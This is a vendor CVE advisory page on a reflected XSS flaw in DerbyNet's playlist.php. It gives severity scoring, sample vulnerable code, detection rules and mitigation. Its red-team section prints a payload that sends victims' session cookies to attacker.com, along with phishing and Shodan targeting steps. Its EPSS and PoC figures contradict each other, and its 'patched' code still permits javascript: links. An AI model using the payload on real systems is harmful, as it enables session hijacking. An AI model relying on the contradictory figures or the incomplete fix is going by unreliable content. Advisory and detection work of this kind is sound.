☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-30929

CVE-2024-30929 Cross-Site Scripting in Derbynet
📅 PUBLISHED: 2024-04-18 00:00 UTC 🔄 UPDATED: 2026-10-02 19:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.98%
👁️
0.98% probability
24.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-30929 is a Cross-Site Scripting (XSS) vulnerability identified in DerbyNet versions 9.0 and below. The flaw resides in the playlist.php script, specifically within the back parameter, which fails to properly sanitize user-supplied input. This allows an attacker to inject arbitrary JavaScript code into the application, leading to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor, DerbyNet. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes it a persistent risk for unmaintained instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. DerbyNet is a standalone PHP application, and the risk is primarily to self-hosted instances.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, but based on the vulnerability characteristics, a more accurate assessment is provided below:

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Content can be modified.
  • Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch increases the risk for unmaintained systems.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the playlist.php script. The back parameter is used to redirect users after an action, but it is not sanitized or encoded before being rendered in the HTML response. An attacker can craft a URL like:

http://target/playlist.php?back="><script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in the context of the victim's browser, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the user.

The root cause is the lack of output encoding or input validation for the back parameter. The application likely echoes the parameter value directly into the HTML without using functions like htmlspecialchars() or strip_tags().

Vulnerable vs. Patched Code

Vulnerable Code (DerbyNet <= 9.0):

// playlist.php
$back = $_GET['back'];
echo "<a href='$back'>Go Back</a>";

Patched Code (Hypothetical):

// playlist.php
$back = htmlspecialchars($_GET['back'], ENT_QUOTES, 'UTF-8');
echo "<a href='$back'>Go Back</a>";

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable DerbyNet instance (version 9.0 or below).
  • A web browser or tool like curl.

Exploit Steps:

  1. Identify a vulnerable DerbyNet instance using Shodan or manual browsing.
  2. Craft a malicious URL:
    http://target/playlist.php?back="><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Send the URL to a victim via phishing email or social engineering.
  4. When the victim clicks the link, their session cookie is sent to the attacker's server.

Example using curl (for testing):

curl -v "http://target/playlist.php?back=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E"

Blue Team (Defensive)

Detection:

  • Monitor web server logs for suspicious back parameter values containing <script>, onerror, or other XSS payloads.
  • Use a Web Application Firewall (WAF) to block requests with malicious patterns.

Mitigation:

  • Apply input validation and output encoding as shown in the patched code.
  • If patching is not possible, restrict access to the playlist.php script using IP whitelisting or authentication.

Indicators of Compromise (IOCs)

  • URL Pattern: playlist.php?back=*<script>* or playlist.php?back=*onerror*
  • Log Entries: HTTP requests to playlist.php with unusual back parameter values.
  • Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (e.g., attacker.com/steal.php).
  • File Hashes: No specific file hashes; the vulnerability is in the source code.

Detection Engineering

YARA Rule

rule CVE_2024_30929_XSS_Playlist {
    meta:
        description = "Detects XSS attempts targeting CVE-2024-30929 in DerbyNet playlist.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30929"
    strings:
        $xss_payload = /playlist\.php\?back=.*(<script|onerror|onload|alert|prompt)/
    condition:
        $xss_payload
}

Sigma Rule

title: CVE-2024-30929 XSS Attempt in DerbyNet playlist.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts via the 'back' parameter in DerbyNet playlist.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'playlist.php?back='
        cs-uri-query|re: '.*(<script|onerror|onload|alert|prompt).*'
    condition: selection
falsepositives:
    - Legitimate use of the back parameter with similar text (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30929 XSS Attempt in DerbyNet playlist.php"; flow:to_server,established; content:"playlist.php"; http_uri; content:"back="; http_uri; pcre:"/(<script|onerror|onload|alert|prompt)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Since no official patch exists, manually apply the code fix shown in the "Vulnerable vs. Patched Code" section.
  2. WAF Rules: Deploy WAF rules to block requests containing XSS payloads in the back parameter.
  3. Access Control: Restrict access to playlist.php to trusted IPs or require authentication.

Long-Term Actions:

  1. Code Review: Conduct a security audit of all PHP files for similar input validation issues.
  2. Upgrade: Monitor DerbyNet for future releases and upgrade when a patch is available.
  3. User Training: Educate users about phishing attacks that exploit XSS vulnerabilities.

Workaround: If patching is not possible, disable the playlist.php script or remove the back parameter functionality entirely.


Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-30929/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.